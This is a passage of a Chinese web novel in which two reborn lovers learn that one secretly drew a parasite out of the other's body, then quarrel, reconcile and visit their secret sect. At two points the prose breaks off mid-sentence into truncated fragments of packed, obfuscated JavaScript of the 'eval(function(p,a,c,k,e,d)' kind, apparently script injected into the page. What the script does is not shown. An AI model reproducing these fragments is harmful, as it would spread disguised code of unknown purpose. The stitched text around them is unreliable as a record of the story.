景煦应了一声,宓安想起了什么,问道:“说起来,什么时候京中中元节时兴放荷叶灯了?” 中元节放河灯是自古流传的习俗,不知从什么时候开始,京城中的贵族子弟不放纸灯,改摘了真荷叶燃烛其中,放起了“荷灯”。普通百姓不懂权贵风潮,也纷纷跟随效仿起来,于是每年中元护城河里“河灯”与“荷灯”并行长流,倒也成了风景。 景煦闻言笑了下:“荷叶灯放了有十几年了吧。” 宓安想了想,说道:“我初到京城那几年,似乎还没见过荷叶灯。” 景煦搂住他的腰,说来还有些不好意思:“因为第一个放荷叶灯的正是你夫君。” “嗯?” “儿时偷溜出宫,没带银子,见别人都放河灯,我只好自己折了枝荷叶,又去庙里拿了蜡烛。”景煦笑着亲了宓安一口,“后来就不知怎的,京中世家子弟全都放起了荷叶灯。” 宓安笑道:“许是对昭王殿下心生敬仰,上赶着奉承来了。” “那时我才多大。”景煦道,“回去还被老东西罚跪了半天。” 宓安心疼地摸摸他的脸:“你竟那么小就敢偷溜出宫了,我记得你儿时很是稳重。”就是不知道为何越长大越孩子气了。 景煦笑道:“宫中多龃龉,母后又不在了,我稳重都是装出来的。” 他将宓安抱坐在腿上,继续说道:“那时我多日不见你进宫,听王顺说你多病,又听说中元节鬼门大开,要放河灯为百鬼指引道路,它们离开了你就不会生病了。” 宓安搂着他的脖子,无奈道:“小时候跟你说话你都爱搭不理的,我以为你很讨厌我。竟然偷偷跑出宫替我放河灯。” “当然要假装讨厌你,我与宓将军的独子过从甚密,老东西岂不是要起疑心?” “怎么后来不装了?” 景煦笑着亲了他一口:“装不下去了,太喜欢你了。” 宓安脸一红,景煦就爱看宓安这副样子,明明平时嘴上从不服输,被亲一下却要脸红害羞。于是他低头轻轻咬了咬宓安的下唇,又深深吻了下去。 18. 前尘 北夷大败,其他小国也歇了心思,宓朗回总算轻松了一阵,日日拉着暗卫切磋武艺。 京中也无大事,宓安干脆住在了昭王府,每日与景煦一道入宫,一个去上朝,一个去占星台找那不知是死是活的国师。 转眼已经入冬,国师终于有了动静,主动让人来请景煦和宓安了。 宫门到占星台这段路,宓安已经走得闭着眼都认识了,但这几个月来还是第一次走进这扇门。 却没想到门后是与太和殿差不多大小的大殿,只是屋顶空了一块,想来是顾名思义,占星所用。 枨衔水坐在案前,面前随意散落着几枚铜钱,似乎正在推演什么,见二人来了,眼睛都没抬一下。 景煦毫不见外,自己搬了凳子和宓安一起坐在了他对面。 “国师。”宓安主动开口,“蛊毒怎么解?” 枨衔水终于看了他一眼,冷声道:“解不了。” 宓安起身就要走,景煦连忙拉住他,哭笑不得道:“去哪?” 宓安莫名其妙地看着他:“他不会解,我回去自己想办法。” 枨衔水拿着铜钱的手一顿,挥手一道掌风将半掩的门关上,咬牙切齿道:“我欠你们的!我欠你们的是不是!” 宓安缓缓看向他,心说这是在发什么脾气,枨衔水已经把铜钱全拨到了地上,气急败坏地指着自己鬓边的两绺白发:“看到没?看到没?你们上次见我我只有一绺白头发!现在有两绺了!” 枨衔水的容貌看起来与景煦差不多大,但按理说他应该有百余岁了,驻颜有术的老妖精似乎都很在意自己的容貌,于是景煦言辞恳切:“两绺白发也挺好看的,显年轻。” 宓安:“……” 枨衔水被他气笑了,点了点头:“你上次中蛊我没管,我承认是我偷懒了,但是你——” 他指着宓安,一口牙几乎咬碎:“你又是怎么回事啊?” 宓安不明所以,茫然道:“什么?” “我说没说不管发生什么你都冷静一点?我说没说让你三思后行?你一个字都没听进去啊?!”枨衔水喝了口茶,继续骂道,“你俩关系就这么好啊?他死了你就跟他去了?你年纪轻轻的怎么这么极端啊?去就去了你还给我放把火!我想拖尸体出来复活都不成了!!” 两人目瞪口呆,但国师还没骂够,拍着桌子吼宓安:“谁教你的?谁教你的啊?人死了我还能复活,你一把火烧的尸骨无存我只能费更大的力气扭转时空了!你看看我的白头发!” 枨衔水抓着自己的头发让两人看,怒火冲天地喝茶下火,前世他对二人说话还总是客客气气的称“陛下”“宓相”,现在已经直呼其名恨不得指着鼻子骂人,看来真是被气得不轻。 景煦和宓安已经被震惊得说不出话。景煦前些日子的猜测骤然成了真,后知后觉地涌起一股狂喜,又因枨衔水的话心疼得无以复加,半晌,景煦拉住了宓安的手,语气十分难过:“阿宓是……自戕的?” 宓安猝不及防被枨衔水揭了老底,一把甩开景煦的手,冷声道:“天干物燥走水了。” 景煦还没说话,枨衔水一拍桌子:“你还想推卸责任?!” 宓安哽住,真诚道:“对不起。” 枨衔水消了一点火,终于大发慈悲对二人解释道:“你二人都是帝王命格,本来两颗帝王星同时出现有些危险,但我见你们自小就关系亲密,想着应当不会出什么事。” 他叹了口气,十分懊悔:“算到景煦有一劫时我也没放心上,我想着死就死了,死了一个还有另一个呢,总不会出大事的。” 枨衔水又倒了一杯茶,欲哭无泪:“难道这一劫不是景煦的,其实是我的?我一时偷懒,两颗帝王星全没了!全没了!” 宓安尴尬地笑了一下,前世枨衔水确实找过他,只是当时他伤心过度,神思恍惚,什么也没听进去。 枨衔水看着眼前两个人,又盯住了宓安,有些恨铁不成钢:“他死了你不是正好登基?你添什么乱!” 宓安眨眨眼:“我登什么基,我又不姓景。” “你是帝王命格,和你姓什么没关系。”枨衔水放下茶杯,“你想做皇帝吗?现在也来得及。” 宓安摇头:“我志不在此。而且今日我找您有别的事。” 枨衔水扫了一眼旁边这位满心满眼只有宓安的准皇帝,打心底生出了一股国之将倾的凄凉,干脆眼不见心不烦地移开视线,垂眸问道:“何事?” 宓安也看了一眼景煦,道:“我似乎中了蛊,真的解不了吗?” 景煦握着他的手骤然用力,枨衔水却只是抬了下眼:“你知道了?” 宓安有些奇怪,这话是什么意思。 “你这蛊有些年头了,是有些难解,但不必用之前景煦那极端法子,回头我起个卦,你们跟着卦象去找法门就行了。”枨衔水俯身将铜钱捡了起来,“不过蛊虫冬日不活动,明年开春才能起卦。反正都这么多年了,也不差这几个月。” 宓安越听越迷糊,问道:“什么有些年头?我是今秋在北夷才中的蛊。” 这下轮到国师奇怪了,他伸手搭了下宓安的小臂,肯定道:“没有新蛊,还是从前那一个。” 他二人不明所以,景煦却是明白了几分,问道:“阿宓,那日赫连修齐用蛊虫伤你了?” 宓安点点头:“他想用蛊虫控制我对你出手,只是我这段时间一直在看典籍,学了些压制的法子,他没得逞。” 枨衔水道:“所以你以为,蛊虫是那日下到你身上的?” 宓安隐隐明白了什么,一股凉意顺着脊骨爬了上来:“难道不是……” 枨衔水看了看景煦,没再说话,宓安见状明白了大半,也看向他,皱眉道:“你瞒了我什么?” 景煦试图逃避:“没什么……” “国师。”宓安懒得和他费口舌,直接问枨衔水,“你们瞒了我什么?” 枨衔水向来看热闹不嫌事大,当即把事情全抖了出来:“你身上的蛊虫是从小种下的,后来景煦用邪门法子引到他自己身上了。” 宓安浑身发凉,耳边似乎出现了嗡鸣声,让他一阵头晕目眩,景煦立刻把人抱在怀里,一边哄一边认错:“阿宓别气,我知错了。” 枨衔水见他这副没出息的样子就头疼,甚至想去问问天道为何这一代的帝王星会是这么个满心情情爱爱的东西。 “所以,你是替我死的?”宓安眼眶瞬间红了起来,紧紧抓着景煦的手臂,“为何不告诉我?” 景煦理直但气不壮,将人抱紧了些:“你肯定不会同意。” 枨衔水继续裹乱:“他那邪门法子杀不死蛊虫,只能引到另一个宿体上去。这个宿体必须拥有和你旗鼓相当的内力,且要你心甘情愿才能成功。” “心甘情愿?” 枨衔水点点头:“只要你没有反抗的念头就可以。说来我也好奇,你到底怎么做到的?” 后半句是在问景煦,景煦瞪了国师一眼,没好气道:“打听这么多做什么?要不是你在这占星台一待就是十几年,跟死了一样,我能去找那邪门法子?” 说起这个,枨衔水确实心虚,只好摆摆手:“我不问了。” 他不问了,宓安却不会善罢甘休,怀里的人红着眼睛看他,景煦比枨衔水更心虚,只好小声坦白:“……床上的时候。” 宓安被他气笑了,抬手就是一巴掌,景煦捂着后脑勺,委屈道:“好疼。” 宓安冷笑:“不疼不长记性。” 景煦哄人归哄人,其实丝毫不觉得自己做错了:“我又没有别的办法,难道要我眼睁睁看着你受罪?” 宓安眼睛通红:“那你就忍心让我眼睁睁看着你去死?我以为你中毒,翻遍了我家里所有的藏书,又翻遍了宫里的藏书。若是你早些告诉我是蛊,我何苦做这些无用功?” “对不起。”景煦紧紧抱着宓安,安抚似的拍了拍他的背,“当时我以为我没救了,而且你还在生我的气,我……我不知道怎么开口……” 宓安语气森然:“所以你骗我上床就是为了引蛊?” 景煦尴尬地把头埋在宓安颈窝,闷声道:“算是吧。” “那后面几次呢?” 景煦哼唧两声,不情不愿地说道:“食髓知味了。” 宓安真想把他吊起来抽一顿,枨衔水却托腮看热闹一般看得津津有味,甚至掏出了一把瓜子,咯吱咯吱嗑得起劲。 宓安这才想起来还有外人在,立刻推开黏在自己身上的人,正色道:“回去再收拾你。” 枨衔水调侃道:“腻歪够了?” 宓安脸一红:“多谢国师了。” 枨衔水摇头:“不必,两颗帝 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宓安还有事问,暂时不能滚,他起身拿了个新杯子,倒好茶放到枨衔水手边,问道:“国师可知我身上的蛊是哪里来的?我从小……” 他正想说自己从小装病,并不出门,除了创立朝青那几年夜里出去处理事务,大部分时间都是在府中独自做些感兴趣的事。 但话说到一半,宓安却突然想起,他十三岁之前,也是常常出门的。 那时他的师父还活着,宓朗回常年在外征战,师父就成了他第二个父亲,教他武功,授他医术。 孩童天性爱玩,师父就经常偷偷带着宓安到处游山玩水,如今宓安家中的茶方和酒方也都是老人留下的。 枨衔水见他沉默,问道:“想起什么了?” 宓安回过神,说道:“儿时师父常带我远行,许是那时被人钻了空子。” 枨衔水不置可否,他似乎知道什么却不愿多说:“自己去查吧。” 宓安心下疑惑,也知他不便多说,又道了声谢,拉着还想刨根问底的景煦离开了占星台。 二人一走,这里又恢复了往日的静谧,空荡的大殿几乎有些死气沉沉。枨衔水手中的铜钱哗啦啦撒了一地,他垂眸看了良久,叹道:“两个年轻人倒是命好。” 半晌,又有微不可查的声音响起,呢喃声像是自言自语:“师兄……我又有白发了。” - 已经回到了昭王府,景煦还在犹犹豫豫地时不时看一眼宓安,一肚子想问的话对上宓安阴沉的脸色全都吞了回去。 晚上用膳的时候,宓安的脸色终于好看了些,连王顺都察觉到两位主子今日气氛不对,很有眼色地带着所有下人远远走开了。 “阿宓……”景煦试探着叫了一声。 宓安没好气:“做什么?” “你是不是早就知道我重生了?” 宓安“嗯”了一声,仍然不给他好脸色,景煦悄无声息地挪近了一点,拉起宓安的手轻轻摩挲着,讨好道:“阿宓别生气了。你……你瞒我这么久我都没生气……” 宓安瞥他一眼,景煦立刻低头,前世今生的错一起认:“对不起,我不该强迫你留下,我不该围剿朝青,我不该骗你上床。” “还有呢?” 景煦顿了顿:“引蛊的事我不会认错的。” 宓安其实并不生气,只是心疼又害怕。景煦以身饲蛊这么多年,还要在他面前装得若无其事。前世的噩梦虽已渐行渐远,但想起那时景煦气绝的瞬间,宓安还是怕的难以自控。 更何况,这蛊毒的痛苦本应是他承受的。 宓安良久不出声,景煦小心翼翼地靠近,弯腰靠在了宓安肩头,见怀里的人没推开,终于放下了心,哄道:“阿宓阿宓,现在不是没事了?等过完年咱们就去找解蛊的法子。” 宓安轻轻顺了顺他的长发,叹了口气:“景煦,以后不许这样了。” 景煦一顿,试探道:“那先把你身上的蛊引到我身上,以后我都不这样了。” 宓安垂眸,给了他一巴掌。 景煦捂着头无声喊疼,他就知道会挨打。 “不是要我心甘情愿才能成功吗?”宓安笑了起来,“景长昱,这次你休想了。” 19. 设防 好不容易哄好的人又被惹毛了,景煦抱着枕头被赶出卧房的时候还试图翻窗回去,却见他养大的三个暗卫守住了门窗,影五脸色讪讪,对他道:“主子,宓公子说要是放您进去就让我们去挑粪。” 景煦:“……” 本以为第二天早朝路上可以再哄哄,没想到宓安起了个大早,自己回了将军府,连马车都没用。 宓朗回习惯早起练功,见宓安独自回来,还往他身后看了一眼,奇怪道:“和昭王吵架了?” 宓安:“……” 他越想越气,打了个手势将暗卫叫来,冷声吩咐:“叫‘暗’守住将军府四周,不许他进。” 说完就气冲冲地回了自己的小院,宓朗回还在奇怪:“这是哪来的暗卫?” 宓安走得飞快,影五只好替他回话:“属下原本是昭王殿下的暗卫,现下跟着宓公子。” 宓朗回好笑:“青疏让你们拦谁?” 影五:“……拦昭王殿下。” 宓朗回点点头,让昭王的暗卫拦着昭王,他儿子真是越来越出息了。 影七尽职尽责地唤来下属的“暗”,一边布防一边大逆不道地想,宓公子这出怎么像极了夫妻吵架回娘家。 傍晚时分,影七站在将军府正院和景煦眼对眼,宓朗回不觉有他,边开兵器库的门边招呼道:“来来来跟我过两招。” 景煦笑眯眯地跟影七打了个招呼,暗卫万年不变的木头脸突然出现了一丝裂痕。 影五的声音不知从何处飘了出来:“主子?您怎么走大门?” 景煦好笑道:“我自己老丈人家我不走大门走哪儿?” 暗卫齐齐沉默,从小到大景煦来将军府找宓安都是翻墙走窗的,万万没想到今日他竟然和宓朗回一道,光明正大地从正门来了。 宓朗回拎着长刀出来,没察觉院中尴尬的气氛,还冲树上几个暗卫招了招手:“你们几个也是昭王带出来的?来,都下来,比划比划。” 景煦将表情崩塌的影七推给宓朗回,道:“他们三个是我亲自带的,您练练,我有事找青疏。” 宓朗回摆摆手让他随意,影七还想拦一下景煦,长刀却已经到了眼前,由不得他分神,只好全力与宓朗回切磋起来。 宓安正在房内制香,既然蛊毒不在景煦身上,枨衔水也说了不急,他便也放松下来,又将景煦从姑师带回来的香料方子翻了出来。 银罐被烛火烧的有些变色,香料粉末的味道愈发浓郁,有些香甜,又有些清苦。 景煦推开门,蹑手蹑脚地蹭到宓安身侧,安安静静地看他调香。 宓安将香末与鲜花一起捣碎,点了些清酒,与银罐中的香混在了一起。原本的一丝苦味消失不见,取而代之的是一股青草般的清爽味道。 景煦惊奇道:“这个味道好像我春日晨间练功时闻到的花草香。” 宓安看了他一眼:“喜欢的话送你。” “你不生气啦?”景煦顺竿就爬,凑过去抱住了宓安的腰,低头在他胸口蹭了又蹭。 宓安伸手挡住景煦的脸,语气冷漠:“拿了香就滚,没事少来将军府。” “我有事。”景煦亲了下宓安的手心,“你跟我回王府。” 景煦挨骂挨习惯了,况且宓安每次说滚都没什么语气,不见厌烦更不见动怒,于是他得寸进尺,直接坐在了地上,扒着宓安的腿:“我给你换几个暗卫吧,他们仨太蠢了。” 宓安垂眸,他还以为是暗卫根本没拦,景煦笑道:“他们把将军府四周围墙守得密不透风,但我是走正门进来的。” 宓安:“……” 景煦笑出了声,在宓安腿上趴了半天,二人都不说话,安静了许久,景煦突然道:“阿宓。” 宓安正盯着他的簪子出神,闻言“嗯”了一声,等他的下文。 景煦的脸还埋在宓安腿上,不自觉抓紧了宓安的衣角:“如果我让你不高兴了,你打我吧,别不理我。” 宓安愣了一下,垂眸看向他,景煦不敢抬头,继续说道:“以前你总是这样,生气了就不说话,平日里我不去找你你也不会来见我……阿宓,我很害怕。” 他再也不想只看宓安的背影了。 宓安微不可查地叹了口气,像哄小动物一样轻轻顺着景煦的头发:“知道了。那你起来准备挨打吧。” 景煦抱紧宓安的腰,顺势把脸贴在了宓安的小腹上:“你打吧。” 宓安笑了下,捏了捏他的脸,将暗卫叫了进来。 影五一进来就看到自家主子不成体统地坐在地上,还抱着宓少师的腰不撒手,顿时眼皮跳了跳,强作镇定道:“宓公子。” “今晚你们三个带人去城郊莲池过夜,明日天不亮就起来守着,帮我采些花叶上的晨露回来。”宓安手上还在一下一下摸着景煦的头发,缓声交待道,“不同叶子上的晨露分瓶收集,做好记号。” 所幸不用去挑粪了,影五赶紧领命退下。 景煦笑道:“今早我才让十二他们去剿匪,还是跟着你轻松。” 宓安凉凉道:“正事我只交待了一件守住将军府,但他们没守住。” “防你相公怎么能叫正事。”景煦又挪近了一点,“朝青那边打理的差不多了,不服管教的我全杀掉了。” 宓安挑眉道:“杀了四个?” “阿宓怎么知道?”景煦拉过宓安的手亲了一口,“好聪明。” “注意他们很久了,懒得收拾。”宓安道,“快起来,坐地上像什么样子。” 景煦耍赖:“不起,你亲我我才起。” 宓安瞥他一眼,起身要走,景煦拉着人不放,嚷嚷着要亲,像个市井泼皮一样,宓安都怀疑他马上就要原地打滚了。 “赶紧起来。”宓安拉着景煦的手,稍微用力想把他拉起来,景煦却一个巧劲将宓安带了下来,正扑在他怀里。 “景长昱!” 景煦哈哈笑起来,躺在地上抱着人不撒手,闹了好一阵才被宓安赶着爬了起来,去内室换衣裳了。 说来景煦与宓安自小就总在一起,将军府有景煦的衣裳也是寻常事,有些他自己早就忘记的衣袍宓安都给他收的好好的。 景煦爱穿玄色,深色衣裳夜行方便,杀人也不显血色,但宓安总喜欢看他穿不一样的。现下景煦身上这件赤缇圆领就是宓安前两年亲自画了纹样让宫里司衣赶制的,只是后来一直没机会拿给景煦。 “阿宓!”景煦系着腰带从内室出来,“这件衣裳是给我的吗?” 宓安抬眼看他,亮丽的颜色衬得他朝气蓬勃,倒像个未及冠的小少年似的。 “还能是给谁的。”宓安替他整理好衣裳,笑道,“衣裳和束袖绣的都是梅花纹样,果然好看。” “阿宓是夸我好看,还是夸衣裳好看?”景煦一把将人搂进怀里,低头亲了一口,“说些我爱听的。” 宓安依他心意:“你好看,你不穿都好看。” 景煦笑了下,语气暧昧:“阿宓真这么觉得?那我现在脱了?” 宓安嗤笑一声,直言道:“我身上的蛊解决之前,床上那档子事你就不要想了。” 景煦委屈道:“国师说了,蛊虫不影响房事。” “他什么时候说的?” “昨晚我特地问的。” 宓安一顿,突然反应过来,怒道:“我就知道你没死心,你还是想引蛊是不是?” 景煦将人抱紧,嘴硬道:“我没有!” 宓安皱着眉,不大高兴地说道:“你还能有心思想这个?定是去问国师引蛊的事,这条是顺带问的。” 倒不是宓安自信,他太了解景煦了,哪怕他一辈子不能行房事,景煦也完全不会在意,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“负心汉。”宓安将脸埋在景煦怀里,紧紧搂着他的腰,前世景煦临死前的样子宓安久久不能释怀,如今抱着有温度的人才稍稍心安。 宓安更用力地抱紧景煦,重复道:“就是负心汉。” “对不起。”景煦收紧手臂,“不过阿宓,不管引不引蛊,最终的结果还是一样的。你以为你要是有事,我会独活吗?” 他好像故意惹宓安生气似的,笑道:“就你会自戕?” 宓安抬手给了他后脑勺一巴掌,继续抱着人出神了。 “都要被你打傻了。” “再胡说我就去拿我爹那根棍子打你。” “我可没胡说。”景煦咬了一口宓安的唇,“谁准你自戕的?我也很生气,你快哄哄我。” 宓安冷笑:“谁准你引蛊的?我现在就去拿棍子。” 景煦连忙把人拉回来按回怀里:“那我不追究你自戕,你也不许追究我引蛊,扯平了。” 宓安“嗯”了声,不按套路出牌:“暂时不提了,往后万一吵架我还会翻旧账的。” 景煦被逗笑,低头吻住了宓安。 “谁准你亲我了,我还没消气……”宓安仰着头,口齿模糊地骂他,景煦却不回答,舌头灵活地破开齿关,在宓安口中肆意侵占,夺走他的呼吸。 宓安紧紧抓着景煦的衣裳,被亲得腿脚发软,景煦将宓安抱起,坐到床上,轻轻将人放到自己腿上,一手搂着他的腰防止掉下去。 “别、别亲了……” 宓安气喘吁吁,景煦却不想放过他,又亲了好半天才作罢。 “阿宓。”景煦又亲了一口,深深看向宓安眼中,“不要觉得愧疚,是我心甘情愿。” 宓安被他戳穿心事,心底蓦然一软,却嘴硬道:“谁愧疚了,你少自作多情。” 景煦不置可否,那日在占星台宓安几乎要落下泪来,连枨衔水都吓了一跳,也就他自己还在故作无情。 这样想着,景煦自己却莫名涌起了一股让宓安亲眼看着自己身死的愧疚,忍不住又抱着人亲了一会儿,想让他分神别再想前世:“阿宓真的不肯吗?” 宓安被亲的脑子有些混沌,反应了好一会儿才明白景煦在说什么,当即又给了他一巴掌,凶道:“你已经没有信誉了。” 景煦委屈,只好把人压在床上,亲了个够。 20. 往事 秋风不知不觉愈发凛冽,宓安去岁酿的桂花酒终于开了坛,花香酒香相得益彰,宓朗回早早就来拎了两坛,临走还直勾勾盯着宓安手里那坛。 宓安无奈道:“爹,我只酿了三坛,这坛是景煦的。” 宓朗回只好遗憾离开,临走还在埋怨:“那小子有什么好?他爹就不是好东西,你多防着他!” 宓安觉得这话有些奇怪,但宓朗回已经走远,便也没问,继续酿今年的新酒了。 景煦下了朝就忙不迭地跑到了将军府,轻车熟路地翻进了宓安的院子,前世登基后就再没见过宓安煮茶酿酒,这一口他可是想了很多年了。 “怎么又翻墙?”宓安哭笑不得地将酒坛埋到树下,“慢点喝。” 景煦尝了一口桂花酒,满足地长吁一口气,感慨道:“上次喝你酿的酒,还是十年前了。” 宓安埋好酒坛,听到景煦这话,思绪飞回了前世的盛夏。 那时宓朗回已经战死,北夷又吞并了南羌,景陆却一味求和,被北夷逼得不停退让。最乱的时候,景煦赶着宓安去姑苏避难。 江南的小镇与世隔绝,宓安在这里生活了一年。 初春采桃花酿酒,折一枝海棠放在床头,嗅着花香入睡。 盛夏燥热,太阳正好的时候,宓安将一坛酒埋在院里的银杏树下,且等来年秋天。 深秋将这个小镇染成金黄,银杏叶窸窸窣窣落了满地,阳光一照,像铺了一地金子。 冬日初雪来得早,江南的雪宛如鹅毛,一夜之间,这个小镇就换了颜色。银装素裹,一望无垠。宓安收了一簸箕雪,盖在埋酒的地方,等它更加香醇。 一年后的夏至,宓安从山里采药回来,走到门前发现锁没有扣上,本能地摸了摸缠在腰间的软剑,轻轻地推开了门。 院里酒香浓郁,是他的桃花酿。 宓安心里一沉,站在门口静默良久,好半天才缓过来,面无表情地关好门,走进了院子。 “昭王殿下怎的未经允许擅自进别人家?” 景煦坐在院里的石凳上,又倒了杯酒,笑道:“老远就闻见桃花酿的香味,实在忍不住,进来偷喝两口。” 宓安放下背篓,坐在景煦对面,也给自己倒了杯酒,道:“这酒今年秋才到日子,你又毁了我一坛酒。” “嗯?”景煦看了看清澈的酒水,“我觉得味道很好啊,阿宓不要诓我。” 宓安站起身,拍了拍身上的土:“我哪敢诓你。我去换件衣裳,您自己坐着。” 景煦想跟着进去,宓安“砰”的一关门,差点撞到景煦的鼻子。 “阿宓,顺便收拾一下东西,我们回家。”景煦靠在门上,要不是怕被宓安打,他都想把窗户纸掏个洞偷看。 “你自己回去吧。”门从里面推开,景煦连忙一躲,宓安瞥他一眼,继续道:“这里比京城好,我不回去了。” 景煦拉住宓安的衣角,故作可怜道:“阿宓别闹,回家了。” 宓安拉回自己的衣裳:“你赶我过来的时候,把这个地方说得像仙境。我现在也这样觉得了,你还有什么不满意的?” “我错了。”景煦往地上一坐,立刻认错,“我怕你留在京城会有危险啊,现在叛军败了,你跟我回家吧。” 宓安被他吓了一跳,皱着眉地拽他:“你起来,坐在地上像什么样子?” “你跟我回家我就起来。” “你不要无理取闹!” 景煦坐在地上拉着宓安的手,故作委屈道:“阿宓,叛军败了,但父皇气急攻心,岌岌可危。你若不跟我回去,我真的要成孤家寡人了。” 宓安垂眸看着他,道:“一年前你怎么不怕做孤家寡人?” “怕,但更怕阿宓有危险。” 宓安看着景煦的手,原本就被兵器磨出许多茧的手如今更是伤痕累累,良久,他叹了口气,有些委屈:“你怕,难道我就不怕?你让我自己躲在这里,你可知我日日夜夜都担惊受怕。” “我宁可在你身边,就算叛军围城,好歹我能亲眼看见你是否安好。” “阿宓……”景煦毫不迟疑地认错,“我知道错了,我保证绝对不会再有下次。” 宓安“嗯”了一声,景煦立刻握紧他的手,“那我们回家?” 宓安叹了口气:“先放开我,我要带上酒。” “我来搬,阿宓坐着就好。”景煦立刻起来,招呼暗卫去树下挖酒。 那时宓安看着他忙碌,想着,这个人若是能一辈子在他身边,似乎也不错。 只是那次回宫后,景陆不久便重病难医,只来得及留下遗诏就撒手人寰。 景煦登基后忙得脚不沾地,每日听着大臣们纳妃立后的谏言,宓安也逐渐觉得,这个人是不能一辈子在他身边的。 江山社稷不能后继无人,宓安总想着离开,就不必看着景煦与别人恩爱生子。 没想到景煦即便已经贵为九五之尊,还是和年少时候一样一根筋,以至于两人互相折磨多年,景煦到死都不知道宓安心悦于他。 景煦见宓安出神,便知道他也想起了前世的事,于是赶紧转移话题,生怕宓安翻旧账:“虽然让你回姑苏避难,但你一点都没闲着,朝青的人混进军中帮了大忙。” 宓安瞥他一眼,如他所料就要开口翻旧账,景煦立刻凑近:“只是我留了暗卫,阿宓是怎么悄悄传消息出去的?” “不是悄悄传的。”宓安扫了一眼四周,前世似乎也是影五和影七暗中跟着他,“我是光明正大往京中递消息的,只是稍微暗示了暗卫一下,我是在与你鸿雁传书。” 景煦愕然:“所以他们觉得反正信是给我的,也不必多此一举再向我提起了。” 宓安点点头,小声道:“他们一直这么好骗吗?” 景煦觉得自己有些头疼,从小跟着他的这几个暗卫与他最亲近,所以也最关心他和宓安的感情,再加上他的授意,自然而然就将宓安当成了另一个主子,也难怪他前世错过了这么多。 “你是他们的主子,自然好骗。”景煦靠在宓安肩头,无力道,“他们但凡像平时出任务一样事无巨细向我禀报,我也不会错过你这么多事。” 宓安好笑:“你少推卸责任。” “朝青已经没什么事了,你回去看看吗?”景煦问道,“他们还没见过两个主人一起出现呢。” “真幼稚啊景长昱。”宓安一眼就看出他的目的,无奈道,“你多大了?” 景煦哼哼两声,跑去屋里拿了个薄大氅:“当心着凉。” “我又不是真体弱。”宓安嘴上这么说着,还是任由景煦给自己系好了大氅,“我的令牌呢?” 景煦理直气壮:“那是我的令牌!” 宓安笑了下,懒得争辩,二人一起往朝青的总部去了。 当初建立朝青的时候,宓安还在被宓朗回强迫着装病,怕出门引人注意,只有夜深无人时才会去处理事务,以至于那段时间他因熬夜有些精神恍惚,倒像真常年生病似的。景煦担心宓安,每日深夜都偷偷溜出宫翻进将军府,这么看来,朝青建立之初颇有波折全是拜景煦所赐。 现在说起这些,宓安只觉得好笑:“本就没多少时间出门,你还夜夜来堵我,多亏了清越得力。” 景煦一向看不惯宓安夸其他男人,当即冷下声音:“他最好一辈子不犯错。” 宓安笑着拍他一下:“小肚鸡肠的男人。” 朝青的总部在京中最大的酒楼中,清庭楼依水而建,环境甚好,二楼名为“清平乐”的雅间常年空着,从不上客。掌柜只说有贵人预订,无人知晓这雅间的墙后便是通往朝青的大门。 “见过主子。” 朝青众人已经许久不见宓安了,现下骤然见两位主子一起出现,都被吓了一跳。 宓安清清浅浅地“嗯”了一声,抚了抚脸上的半块面具,说道:“无事,你们忙。” 朝青这里的房间每日都有人打扫,景煦这段时间一直在宓安房里处理事务,还命人添了许多鲜花,又点上了熏香,将这间屋子装点的颇有人气。 宓安笑道:“处理公务的地方而已,也要如此精致?” 景煦点上宓安新制的桂花香,道:“阿宓不陪我睡觉,我只好点些和你相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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宓安还没说话,敲门声就响了起来,是清越:“主子,清越有事禀报。” 景煦凉凉地看了宓安一眼,扬声道:“晚些再来,我还有事。” 门外安静片刻,清越的声音又响起:“不知……青安主子可在?” 宓安:“……” 景煦的脸色又黑了几分,突然抬了一下腿,坐在他腿上的宓安吓了一跳,“哎”了一声,连忙扶住了他的肩膀,凶道:“做什么?” 门外的人听到声音,心中狠狠一惊。初见昭王那日他就听到过青安这样撒娇一般的语气,他印象中的主子冷心冷情,对任何人都冷若冰霜,不管是有过往来的其他人,还是朝青自己人,私下里都说青安没有人味。 原来他只是根本没将他们当成自己人罢了。 景煦笑了起来,才想起来回答清越似的,懒懒道:“他也有事。” 清越回了声“是”,逃似的离开了。 屋里宓安狠狠瞪了景煦一眼:“你可真幼稚。” 景煦还想耍赖占占便宜,敲门声又响了起来,清庭楼掌柜的声音从门外传来:“两位主子,酒楼里有人闹事,硬要在‘清平乐’用餐,对方自称皇亲,属下不敢贸然驱逐,请主子拿个主意。” 景煦和宓安对视一眼,奇怪道:“京中活着的皇亲好像只有我一个。” 宓安笑了下,从他腿上起来:“去看看。” 二人回了雅间,景煦打开门,与景烈撞了个对眼,景煦笑道:“我当是哪位皇亲如此大的官威,原来是皇兄啊。” 景烈看到来人也是一愣,咬牙道:“掌柜的说这间有贵客预订,原来是二弟。” 景煦点点头,毫不客气:“知道是我还不快滚。” 景烈捏紧拳头,怒视片刻,到底不敢与景煦起冲突,最终狠狠瞪了他一眼,怒气冲天地走了。连宓安都摇了摇头,感慨道:“他确实废物。” “许久不见景烈,还当他已经死了。”景煦倒了杯茶,“上辈子他是怎么死的来着?” 宓安想了想,景烈于他而言实在太无关紧要了,半天也没想起那时他是怎么死的,无奈道:“我也忘了。” 21. 西岐 二人到底也没想起来上辈子景烈是怎么死的,景煦索性也觉得并不重要,还是宓安难得有想要的东西更重要。 天子脚下的拍卖会相对而言更安全,很少出现事后拦路抢劫的事情,宓安与景煦挑了个视线开阔的雅间,喝着茶等拍卖会开场。 “这拍卖会的东家似乎也是一派之主,阿宓可认识?” 宓安摇摇头:“江湖门派每年的集会我从不参加。” 景煦笑道:“我猜也是。江湖门派多多少少都有利益往来,唯独朝青独来独往,所以他们都对你颇有微词。” 宓安懒懒地扫了一眼座无虚席的一楼,道:“只敢颇有微词而已。” “早些年还有传言,说朝青是朝廷的产业。”景煦笑了起来,“他们向来与朝廷井水不犯河水,有这样的传言,更是视你为眼中钉了。” 宓安却看向他:“朝青的确是啊。” 